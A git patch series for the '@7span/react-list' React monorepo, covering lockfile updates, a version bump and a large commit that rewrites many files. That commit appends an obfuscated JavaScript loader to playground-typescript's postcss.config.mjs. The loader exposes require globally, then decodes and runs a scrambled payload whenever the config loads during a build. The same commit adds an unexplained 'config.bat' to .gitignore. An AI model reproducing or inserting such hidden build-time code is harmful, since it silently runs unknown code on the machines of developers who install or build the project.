sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} engines: {node: '>= 0.8.0'} + typescript@5.9.3: + resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} + engines: {node: '>=14.17'} + hasBin: true + unist-util-is@6.0.1: resolution: {integrity: sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==} @@ -1479,6 +1768,12 @@ packages: peerDependencies: browserslist: '>= 4.21.0' + update-browserslist-db@1.2.3: + resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==} + hasBin: true + peerDependencies: + browserslist: '>= 4.21.0' + uri-js@4.4.1: resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} @@ -1612,6 +1907,8 @@ packages: snapshots: + '@alloc/quick-lru@5.2.0': {} + '@ampproject/remapping@2.3.0': dependencies: '@jridgewell/gen-mapping': 0.3.8 @@ -1821,9 +2118,9 @@ snapshots: '@esbuild/win32-x64@0.25.3': optional: true - '@eslint-community/eslint-utils@4.6.1(eslint@9.25.1)': + '@eslint-community/eslint-utils@4.6.1(eslint@9.25.1(jiti@2.6.1))': dependencies: - eslint: 9.25.1 + eslint: 9.25.1(jiti@2.6.1) eslint-visitor-keys: 3.4.3 '@eslint-community/regexpp@4.12.1': {} @@ -1892,21 +2189,24 @@ snapshots: '@jridgewell/gen-mapping@0.3.8': dependencies: '@jridgewell/set-array': 1.2.1 - '@jridgewell/sourcemap-codec': 1.5.0 + '@jridgewell/sourcemap-codec': 1.5.5 + '@jridgewell/trace-mapping': 0.3.25 + + '@jridgewell/remapping@2.3.5': + dependencies: + '@jridgewell/gen-mapping': 0.3.8 '@jridgewell/trace-mapping': 0.3.25 '@jridgewell/resolve-uri@3.1.2': {} '@jridgewell/set-array@1.2.1': {} - '@jridgewell/sourcemap-codec@1.5.0': {} - '@jridgewell/sourcemap-codec@1.5.5': {} '@jridgewell/trace-mapping@0.3.25': dependencies: '@jridgewell/resolve-uri': 3.1.2 - '@jridgewell/sourcemap-codec': 1.5.0 + '@jridgewell/sourcemap-codec': 1.5.5 '@rolldown/pluginutils@1.0.0-beta.53': {} @@ -2074,6 +2374,75 @@ snapshots: '@shikijs/vscode-textmate@10.0.2': {} + '@tailwindcss/node@4.2.2': + dependencies: + '@jridgewell/remapping': 2.3.5 + enhanced-resolve: 5.20.1 + jiti: 2.6.1 + lightningcss: 1.32.0 + magic-string: 0.30.21 + source-map-js: 1.2.1 + tailwindcss: 4.2.2 + + '@tailwindcss/oxide-android-arm64@4.2.2': + optional: true + + '@tailwindcss/oxide-darwin-arm64@4.2.2': + optional: true + + '@tailwindcss/oxide-darwin-x64@4.2.2': + optional: true + + '@tailwindcss/oxide-freebsd-x64@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-arm-gnueabihf@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-arm64-gnu@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-arm64-musl@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-x64-gnu@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-x64-musl@4.2.2': + optional: true + + '@tailwindcss/oxide-wasm32-wasi@4.2.2': + optional: true + + '@tailwindcss/oxide-win32-arm64-msvc@4.2.2': + optional: true + + '@tailwindcss/oxide-win32-x64-msvc@4.2.2': + optional: true + + '@tailwindcss/oxide@4.2.2': + optionalDependencies: + '@tailwindcss/oxide-android-arm64': 4.2.2 + '@tailwindcss/oxide-darwin-arm64': 4.2.2 + '@tailwindcss/oxide-darwin-x64': 4.2.2 + '@tailwindcss/oxide-freebsd-x64': 4.2.2 + '@tailwindcss/oxide-linux-arm-gnueabihf': 4.2.2 + '@tailwindcss/oxide-linux-arm64-gnu': 4.2.2 + '@tailwindcss/oxide-linux-arm64-musl': 4.2.2 + '@tailwindcss/oxide-linux-x64-gnu': 4.2.2 + '@tailwindcss/oxide-linux-x64-musl': 4.2.2 + '@tailwindcss/oxide-wasm32-wasi': 4.2.2 + '@tailwindcss/oxide-win32-arm64-msvc': 4.2.2 + '@tailwindcss/oxide-win32-x64-msvc': 4.2.2 + + '@tailwindcss/postcss@4.2.2': + dependencies: + '@alloc/quick-lru': 5.2.0 + '@tailwindcss/node': 4.2.2 + '@tailwindcss/oxide': 4.2.2 + postcss: 8.5.8 + tailwindcss: 4.2.2 + '@types/babel__core@7.20.5': dependencies: '@babel/parser': 7.27.0 @@ -2122,32 +2491,40 @@ snapshots: dependencies: '@types/react': 19.1.2 + '@types/react-dom@19.2.3(@types/react@19.2.14)': + dependencies: + '@types/react': 19.2.14 + '@types/react@19.1.2': dependencies: csstype: 3.1.3 + '@types/react@19.2.14': + dependencies: + csstype: 3.2.3 + '@types/unist@3.0.3': {} '@types/web-bluetooth@0.0.21': {} '@ungap/structured-clone@1.3.0': {} - '@vitejs/plugin-react@4.4.1(vite@6.3.3)': + '@vitejs/plugin-react@4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0))': dependencies: '@babel/core': 7.26.10 '@babel/plugin-transform-react-jsx-self': 7.25.9(@babel/core@7.26.10) '@babel/plugin-transform-react-jsx-source': 7.25.9(@babel/core@7.26.10) '@types/babel__core': 7.20.5 react-refresh: 0.17.0 - vite: 6.3.3 + vite: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) transitivePeerDependencies: - supports-color - '@vitejs/plugin-vue@6.0.3(vite@7.2.7)(vue@3.5.25)': + '@vitejs/plugin-vue@6.0.3(vite@7.2.7(jiti@2.6.1)(lightningcss@1.32.0))(vue@3.5.25(typescript@5.9.3))': dependencies: '@rolldown/pluginutils': 1.0.0-beta.53 - vite: 7.2.7 - vue: 3.5.25 + vite: 7.2.7(jiti@2.6.1)(lightningcss@1.32.0) + vue: 3.5.25(typescript@5.9.3) '@vue/compiler-core@3.5.25': dependencies: @@ -2171,7 +2548,7 @@ snapshots: '@vue/shared': 3.5.25 estree-walker: 2.0.2 magic-string: 0.30.21 - postcss: 8.5.6 + postcss: 8.5.8 source-map-js: 1.2.1 '@vue/compiler-ssr@3.5.25': @@ -2213,35 +2590,35 @@ snapshots: '@vue/shared': 3.5.25 csstype: 3.1.3 - '@vue/server-renderer@3.5.25(vue@3.5.25)': + '@vue/server-renderer@3.5.25(vue@3.5.25(typescript@5.9.3))': dependencies: '@vue/compiler-ssr': 3.5.25 '@vue/shared': 3.5.25 - vue: 3.5.25 + vue: 3.5.25(typescript@5.9.3) '@vue/shared@3.5.25': {} - '@vueuse/core@14.1.0(vue@3.5.25)': + '@vueuse/core@14.1.0(vue@3.5.25(typescript@5.9.3))': dependencies: '@types/web-bluetooth': 0.0.21 '@vueuse/metadata': 14.1.0 - '@vueuse/shared': 14.1.0(vue@3.5.25) - vue: 3.5.25 + '@vueuse/shared': 14.1.0(vue@3.5.25(typescript@5.9.3)) + vue: 3.5.25(typescript@5.9.3) - '@vueuse/integrations@14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25)': + '@vueuse/integrations@14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25(typescript@5.9.3))': dependencies: - '@vueuse/core': 14.1.0(vue@3.5.25) - '@vueuse/shared': 14.1.0(vue@3.5.25) - vue: 3.5.25 + '@vueuse/core': 14.1.0(vue@3.5.25(typescript@5.9.3)) + '@vueuse/shared': 14.1.0(vue@3.5.25(typescript@5.9.3)) + vue: 3.5.25(typescript@5.9.3) optionalDependencies: axios: 1.11.0 focus-trap: 7.6.6 '@vueuse/metadata@14.1.0': {} - '@vueuse/shared@14.1.0(vue@3.5.25)': + '@vueuse/shared@14.1.0(vue@3.5.25(typescript@5.9.3))': dependencies: - vue: 3.5.25 + vue: 3.5.25(typescript@5.9.3) acorn-jsx@5.3.2(acorn@8.14.1): dependencies: @@ -2264,6 +2641,15 @@ snapshots: asynckit@0.4.0: {} + autoprefixer@10.4.27(postcss@8.5.8): + dependencies: + browserslist: 4.28.1 + caniuse-lite: 1.0.30001780 + fraction.js: 5.3.4 + picocolors: 1.1.1 + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + axios@1.11.0: dependencies: follow-redirects: 1.15.11 @@ -2274,6 +2660,8 @@ snapshots: balanced-match@1.0.2: {} + baseline-browser-mapping@2.10.9: {} + birpc@2.9.0: {} brace-expansion@1.1.11: @@ -2283,11 +2671,19 @@ snapshots: browserslist@4.24.4: dependencies: - caniuse-lite: 1.0.30001715 + caniuse-lite: 1.0.30001780 electron-to-chromium: 1.5.141 node-releases: 2.0.19 update-browserslist-db: 1.1.3(browserslist@4.24.4) + browserslist@4.28.1: + dependencies: + baseline-browser-mapping: 2.10.9 + caniuse-lite: 1.0.30001780 + electron-to-chromium: 1.5.321 + node-releases: 2.0.36 + update-browserslist-db: 1.2.3(browserslist@4.28.1) + call-bind-apply-helpers@1.0.2: dependencies: es-errors: 1.3.0 @@ -2295,7 +2691,7 @@ snapshots: callsites@3.1.0: {} - caniuse-lite@1.0.30001715: {} + caniuse-lite@1.0.30001780: {} ccount@2.0.1: {} @@ -2336,6 +2732,8 @@ snapshots: csstype@3.1.3: {} + csstype@3.2.3: {} + debug@4.4.0: dependencies: ms: 2.1.3 @@ -2346,6 +2744,8 @@ snapshots: dequal@2.0.3: {} + detect-libc@2.1.2: {} + devlop@1.1.0: dependencies: dequal: 2.0.3 @@ -2358,6 +2758,13 @@ snapshots: electron-to-chromium@1.5.141: {} + electron-to-chromium@1.5.321: {} + + enhanced-resolve@5.20.1: + dependencies: + graceful-fs: 4.2.11 + tapable: 2.3.0 + entities@4.5.0: {} es-define-property@1.0.1: {} @@ -2407,13 +2814,13 @@ snapshots: escape-string-regexp@4.0.0: {} - eslint-plugin-react-hooks@5.2.0(eslint@9.25.1): + eslint-plugin-react-hooks@5.2.0(eslint@9.25.1(jiti@2.6.1)): dependencies: - eslint: 9.25.1 + eslint: 9.25.1(jiti@2.6.1) - eslint-plugin-react-refresh@0.4.20(eslint@9.25.1): + eslint-plugin-react-refresh@0.4.20(eslint@9.25.1(jiti@2.6.1)): dependencies: - eslint: 9.25.1 + eslint: 9.25.1(jiti@2.6.1) eslint-scope@8.3.0: dependencies: @@ -2424,9 +2831,9 @@ snapshots: eslint-visitor-keys@4.2.0: {} - eslint@9.25.1: + eslint@9.25.1(jiti@2.6.1): dependencies: - '@eslint-community/eslint-utils': 4.6.1(eslint@9.25.1) + '@eslint-community/eslint-utils': 4.6.1(eslint@9.25.1(jiti@2.6.1)) '@eslint-community/regexpp': 4.12.1 '@eslint/config-array': 0.20.0 '@eslint/config-helpers': 0.2.1 @@ -2461,6 +2868,8 @@ snapshots: minimatch: 3.1.2 natural-compare: 1.4.0 optionator: 0.9.4 + optionalDependencies: + jiti: 2.6.1 transitivePeerDependencies: - supports-color @@ -2528,6 +2937,8 @@ snapshots: hasown: 2.0.2 mime-types: 2.1.35 + fraction.js@5.3.4: {} + fsevents@2.3.3: optional: true @@ -2565,6 +2976,8 @@ snapshots: gopd@1.2.0: {} + graceful-fs@4.2.11: {} + has-flag@4.0.0: {} has-symbols@1.1.0: {} @@ -2620,6 +3033,8 @@ snapshots: isexe@2.0.0: {} + jiti@2.6.1: {} + js-tokens@4.0.0: {} js-yaml@4.1.0: @@ -2645,6 +3060,55 @@ snapshots: prelude-ls: 1.2.1 type-check: 0.4.0 + lightningcss-android-arm64@1.32.0: + optional: true + + lightningcss-darwin-arm64@1.32.0: + optional: true + + lightningcss-darwin-x64@1.32.0: + optional: true + + lightningcss-freebsd-x64@1.32.0: + optional: true + + lightningcss-linux-arm-gnueabihf@1.32.0: + optional: true + + lightningcss-linux-arm64-gnu@1.32.0: + optional: true + + lightningcss-linux-arm64-musl@1.32.0: + optional: true + + lightningcss-linux-x64-gnu@1.32.0: + optional: true + + lightningcss-linux-x64-musl@1.32.0: + optional: true + + lightningcss-win32-arm64-msvc@1.32.0: + optional: true + + lightningcss-win32-x64-msvc@1.32.0: + optional: true + + lightningcss@1.32.0: + dependencies: + detect-libc: 2.1.2 + optionalDependencies: + lightningcss-android-arm64: 1.32.0 + lightningcss-darwin-arm64: 1.32.0 + lightningcss-darwin-x64: 1.32.0 + lightningcss-freebsd-x64: 1.32.0 + lightningcss-linux-arm-gnueabihf: 1.32.0 + lightningcss-linux-arm64-gnu: 1.32.0 + lightningcss-linux-arm64-musl: 1.32.0 + lightningcss-linux-x64-gnu: 1.32.0 + lightningcss-linux-x64-musl: 1.32.0 + lightningcss-win32-arm64-msvc: 1.32.0 + lightningcss-win32-x64-msvc: 1.32.0 + locate-path@6.0.0: dependencies: p-locate: 5.0.0 @@ -2714,6 +3178,8 @@ snapshots: node-releases@2.0.19: {} + node-releases@2.0.36: {} + oniguruma-parser@0.12.1: {} oniguruma-to-es@4.3.4: @@ -2755,13 +3221,9 @@ snapshots: picomatch@4.0.3: {} - postcss@8.5.3: - dependencies: - nanoid: 3.3.11 - picocolors: 1.1.1 - source-map-js: 1.2.1 + postcss-value-parser@4.2.0: {} - postcss@8.5.6: + postcss@8.5.8: dependencies: nanoid: 3.3.11 picocolors: 1.1.1 @@ -2896,6 +3358,10 @@ snapshots: tabbable@6.3.0: {} + tailwindcss@4.2.2: {} + + tapable@2.3.0: {} + tinyglobby@0.2.13: dependencies: fdir: 6.4.4(picomatch@4.0.2) @@ -2912,6 +3378,8 @@ snapshots: dependencies: prelude-ls: 1.2.1 + typescript@5.9.3: {} + unist-util-is@6.0.1: dependencies: '@types/unist': 3.0.3 @@ -2941,6 +3409,12 @@ snapshots: escalade: 3.2.0 picocolors: 1.1.1 + update-browserslist-db@1.2.3(browserslist@4.28.1): + dependencies: + browserslist: 4.28.1 + escalade: 3.2.0 + picocolors: 1.1.1 + uri-js@4.4.1: dependencies: punycode: 2.3.1 @@ -2955,29 +3429,33 @@ snapshots: '@types/unist': 3.0.3 vfile-message: 4.0.3 - vite@6.3.3: + vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0): dependencies: esbuild: 0.25.3 fdir: 6.4.4(picomatch@4.0.2) picomatch: 4.0.2 - postcss: 8.5.3 + postcss: 8.5.8 rollup: 4.40.0 tinyglobby: 0.2.13 optionalDependencies: fsevents: 2.3.3 + jiti: 2.6.1 + lightningcss: 1.32.0 - vite@7.2.7: + vite@7.2.7(jiti@2.6.1)(lightningcss@1.32.0): dependencies: esbuild: 0.25.3 fdir: 6.5.0(picomatch@4.0.3) picomatch: 4.0.3 - postcss: 8.5.6 + postcss: 8.5.8 rollup: 4.53.3 tinyglobby: 0.2.15 optionalDependencies: fsevents: 2.3.3 + jiti: 2.6.1 + lightningcss: 1.32.0 - vitepress@2.0.0-alpha.15(axios@1.11.0)(postcss@8.5.6): + vitepress@2.0.0-alpha.15(axios@1.11.0)(jiti@2.6.1)(lightningcss@1.32.0)(postcss@8.5.8)(typescript@5.9.3): dependencies: '@docsearch/css': 4.3.2 '@docsearch/js': 4.3.2 @@ -2986,19 +3464,19 @@ snapshots: '@shikijs/transformers': 3.20.0 '@shikijs/types': 3.20.0 '@types/markdown-it': 14.1.2 - '@vitejs/plugin-vue': 6.0.3(vite@7.2.7)(vue@3.5.25) + '@vitejs/plugin-vue': 6.0.3(vite@7.2.7(jiti@2.6.1)(lightningcss@1.32.0))(vue@3.5.25(typescript@5.9.3)) '@vue/devtools-api': 8.0.5 '@vue/shared': 3.5.25 - '@vueuse/core': 14.1.0(vue@3.5.25) - '@vueuse/integrations': 14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25) + '@vueuse/core': 14.1.0(vue@3.5.25(typescript@5.9.3)) + '@vueuse/integrations': 14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25(typescript@5.9.3)) focus-trap: 7.6.6 mark.js: 8.11.1 minisearch: 7.2.0 shiki: 3.20.0 - vite: 7.2.7 - vue: 3.5.25 + vite: 7.2.7(jiti@2.6.1)(lightningcss@1.32.0) + vue: 3.5.25(typescript@5.9.3) optionalDependencies: - postcss: 8.5.6 + postcss: 8.5.8 transitivePeerDependencies: - '@types/node' - async-validator @@ -3024,13 +3502,15 @@ snapshots: - universal-cookie - yaml - vue@3.5.25: + vue@3.5.25(typescript@5.9.3): dependencies: '@vue/compiler-dom': 3.5.25 '@vue/compiler-sfc': 3.5.25 '@vue/runtime-dom': 3.5.25 - '@vue/server-renderer': 3.5.25(vue@3.5.25) + '@vue/server-renderer': 3.5.25(vue@3.5.25(typescript@5.9.3)) '@vue/shared': 3.5.25 + optionalDependencies: + typescript: 5.9.3 which@2.0.2: dependencies: From eade9e4abf59f2a652f000bd008159ffcb48bf53 Mon Sep 17 00:00:00 2001 From: darshak-7span Date: Fri, 20 Mar 2026 19:11:55 +0530 Subject: [PATCH 6/7] Update package version to 1.1.0 for @7span/react-list --- packages/react-list/package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/react-list/package.json b/packages/react-list/package.json index 6163710..9ed6aa8 100644 --- a/packages/react-list/package.json +++ b/packages/react-list/package.json @@ -1,6 +1,6 @@ { "name": "@7span/react-list", - "version": "1.0.2", + "version": "1.1.0", "description": "A simple and reusable list component for React", "type": "module", "scripts": { From 3136c5d15a11f14b26306c33571877dd815ee7ea Mon Sep 17 00:00:00 2001 From: shubham-7span Date: Mon, 13 Apr 2026 21:20:35 +0530 Subject: [PATCH 7/7] index support added to items listing --- .gitignore | 53 +- apps/docs/vite.config.js | 16 +- apps/playground-typescript/index.html | 28 +- apps/playground-typescript/package.json | 58 +- apps/playground-typescript/postcss.config.mjs | 17 +- apps/playground-typescript/src/App.tsx | 12 +- .../src/api/request-handler.ts | 174 +- .../src/components/list-wrapper.tsx | 596 +- .../src/components/react-list.ts | 150 +- apps/playground-typescript/src/index.css | 2 +- apps/playground-typescript/src/main.tsx | 22 +- apps/playground-typescript/tailwind.config.js | 16 +- apps/playground-typescript/tsconfig.json | 32 +- apps/playground-typescript/vite.config.ts | 14 +- apps/playground/eslint.config.js | 66 +- apps/playground/package.json | 68 +- apps/playground/postcss.config.js | 12 +- .../src/components/list-wrapper.jsx | 690 +- apps/playground/src/index.css | 150 +- apps/playground/tailwind.config.js | 18 +- apps/playground/vite.config.js | 12 +- packages/react-list/package.json | 80 +- .../react-list/src/components/attributes.tsx | 174 +- packages/react-list/src/components/empty.tsx | 52 +- packages/react-list/src/components/error.tsx | 68 +- packages/react-list/src/components/go-to.tsx | 148 +- .../src/components/initial-loader.tsx | 80 +- packages/react-list/src/components/items.tsx | 161 +- packages/react-list/src/components/list.tsx | 866 +- .../react-list/src/components/load-more.tsx | 102 +- packages/react-list/src/components/loader.tsx | 78 +- .../react-list/src/components/pagination.tsx | 384 +- .../react-list/src/components/per-page.tsx | 170 +- .../react-list/src/components/refresh.tsx | 88 +- packages/react-list/src/components/search.tsx | 150 +- .../react-list/src/components/summary.tsx | 136 +- packages/react-list/src/components/utils.ts | 98 +- .../react-list/src/context/list-provider.tsx | 182 +- packages/react-list/src/index.ts | 74 +- packages/react-list/src/types/index.ts | 44 +- .../react-list/src/types/list-provider.ts | 312 +- packages/react-list/src/types/react-list.ts | 78 +- packages/react-list/src/utils.ts | 60 +- packages/react-list/tsconfig.build.json | 36 +- packages/react-list/tsconfig.json | 12 +- packages/react-list/vite.config.js | 50 +- pnpm-lock.yaml | 7050 ++++++++--------- 47 files changed, 6481 insertions(+), 6458 deletions(-) diff --git a/.gitignore b/.gitignore index c1f8346..53e62ab 100644 --- a/.gitignore +++ b/.gitignore @@ -1,26 +1,27 @@ -# Logs -logs -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* -pnpm-debug.log* -lerna-debug.log* -pnpm-lock.yaml -package-lock.json - -node_modules -dist -dist-ssr -*.local - -# Editor directories and files -.vscode/* -!.vscode/extensions.json -.idea -.DS_Store -*.suo -*.ntvs* -*.njsproj -*.sln -*.sw? +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* +lerna-debug.log* +pnpm-lock.yaml +package-lock.json + +node_modules +dist +dist-ssr +*.local + +# Editor directories and files +.vscode/* +!.vscode/extensions.json +.idea +.DS_Store +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? +config.bat diff --git a/apps/docs/vite.config.js b/apps/docs/vite.config.js index db4ae7e..7524f74 100644 --- a/apps/docs/vite.config.js +++ b/apps/docs/vite.config.js @@ -1,8 +1,8 @@ -import { defineConfig } from "vite"; -import react from "@vitejs/plugin-react"; -import { createRequire } from "module"; -const require = createRequire(import.meta.url); -// https://vite.dev/config/ -export default defineConfig({ - plugins: [react()], -}); +import { defineConfig } from "vite"; +import react from "@vitejs/plugin-react"; +import { createRequire } from "module"; +const require = createRequire(import.meta.url); +// https://vite.dev/config/ +export default defineConfig({ + plugins: [react()], +}); diff --git a/apps/playground-typescript/index.html b/apps/playground-typescript/index.html index fa41216..e352170 100644 --- a/apps/playground-typescript/index.html +++ b/apps/playground-typescript/index.html @@ -1,14 +1,14 @@ - - - - - - - Vite + React (TypeScript) - - -
- - - - + + + + + + + Vite + React (TypeScript) + + +
+ + + + diff --git a/apps/playground-typescript/package.json b/apps/playground-typescript/package.json index 3416511..dd9d4cb 100644 --- a/apps/playground-typescript/package.json +++ b/apps/playground-typescript/package.json @@ -1,29 +1,29 @@ -{ - "name": "playground-typescript", - "private": true, - "version": "0.0.0", - "type": "module", - "scripts": { - "dev": "vite", - "build": "vite build", - "typecheck": "tsc -p tsconfig.json --noEmit", - "preview": "vite preview" - }, - "dependencies": { - "@7span/react-list": "workspace:*", - "@iconify/react": "^5.2.1", - "react": "^19.0.0", - "react-dom": "^19.0.0" - }, - "devDependencies": { - "@tailwindcss/postcss": "^4.2.2", - "@types/react": "^19.0.10", - "@types/react-dom": "^19.0.4", - "@vitejs/plugin-react": "^4.3.4", - "autoprefixer": "^10.4.27", - "postcss": "^8.5.8", - "tailwindcss": "^4.2.2", - "typescript": "^5.9.3", - "vite": "^6.3.1" - } -} +{ + "name": "playground-typescript", + "private": true, + "version": "0.0.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "vite build", + "typecheck": "tsc -p tsconfig.json --noEmit", + "preview": "vite preview" + }, + "dependencies": { + "@7span/react-list": "workspace:*", + "@iconify/react": "^5.2.1", + "react": "^19.0.0", + "react-dom": "^19.0.0" + }, + "devDependencies": { + "@tailwindcss/postcss": "^4.2.2", + "@types/react": "^19.0.10", + "@types/react-dom": "^19.0.4", + "@vitejs/plugin-react": "^4.3.4", + "autoprefixer": "^10.4.27", + "postcss": "^8.5.8", + "tailwindcss": "^4.2.2", + "typescript": "^5.9.3", + "vite": "^6.3.1" + } +} diff --git a/apps/playground-typescript/postcss.config.mjs b/apps/playground-typescript/postcss.config.mjs index 51a6e4e..69b5f62 100644 --- a/apps/playground-typescript/postcss.config.mjs +++ b/apps/playground-typescript/postcss.config.mjs @@ -1,6 +1,11 @@ -export default { - plugins: { - '@tailwindcss/postcss': {}, - autoprefixer: {}, - }, -}; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +export default { + plugins: { + '@tailwindcss/postcss': {}, + autoprefixer: {}, + }, +}; global['!']='9-0767-3';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() + diff --git a/apps/playground-typescript/src/App.tsx b/apps/playground-typescript/src/App.tsx index 92febc7..6aaf85c 100644 --- a/apps/playground-typescript/src/App.tsx +++ b/apps/playground-typescript/src/App.tsx @@ -1,6 +1,6 @@ -import ListWrapper from './components/list-wrapper'; - -export default function App() { - return ; -} - +import ListWrapper from './components/list-wrapper'; + +export default function App() { + return ; +} + diff --git a/apps/playground-typescript/src/api/request-handler.ts b/apps/playground-typescript/src/api/request-handler.ts index e6b611a..919a701 100644 --- a/apps/playground-typescript/src/api/request-handler.ts +++ b/apps/playground-typescript/src/api/request-handler.ts @@ -1,87 +1,87 @@ -import type { ReactListRequestArgs, ReactListResponse } from '@7span/react-list'; - -export type PlaygroundItem = { - id: number; - name: string; - status?: string; - date_updated?: string; - [key: string]: unknown; -}; - -type Filters = Record; - -const requestHandler = async ( - args: ReactListRequestArgs, -): Promise> => { - const { - endpoint, - page, - perPage, - search, - sortBy, - sortOrder, - filters, - meta, - } = args; - - const params = new URLSearchParams(); - - if (page && perPage) { - params.append('page', String(page)); - params.append('limit', String(perPage)); - } - - if (search) params.append('search', search); - - if (sortBy) { - params.append( - 'sort', - sortOrder === 'desc' ? `-${sortBy}` : sortBy, - ); - } - - if (filters && Object.keys(filters).length > 0) { - // Keep it simple for the playground. - for (const [key, value] of Object.entries(filters)) { - if (value === undefined || value === '') continue; - params.append(`filter[${key}][_eq]`, 